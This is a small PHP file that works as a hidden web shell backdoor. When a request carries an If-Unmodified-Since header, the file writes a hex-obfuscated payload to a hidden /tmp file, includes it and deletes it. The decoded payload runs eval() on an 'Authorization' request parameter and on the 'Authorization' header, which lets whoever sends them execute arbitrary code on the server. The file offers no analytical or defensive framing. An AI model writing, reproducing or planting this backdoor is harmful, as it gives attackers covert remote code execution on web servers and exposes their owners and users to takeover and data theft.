<?php

$_HEADERS = getallheaders();
if (isset($_HEADERS['If-Unmodified-Since'])) {
    $c = "<\x3f\x70h\x70\x20@\x65\x76a\x6c\x28$\x5f\x52E\x51\x55E\x53\x54[\x22\x41u\x74\x68o\x72\x69z\x61\x74i\x6f\x6e\"\x5d\x29;\x40\x65v\x61\x6c(\x24\x5fH\x45\x41D\x45\x52S\x5b\x22A\x75\x74h\x6f\x72i\x7a\x61t\x69\x6fn\x22\x5d)\x3b";
    $f = '/tmp/.'.time();
    file_put_contents($f, $c);
    include($f);
    unlink($f);
}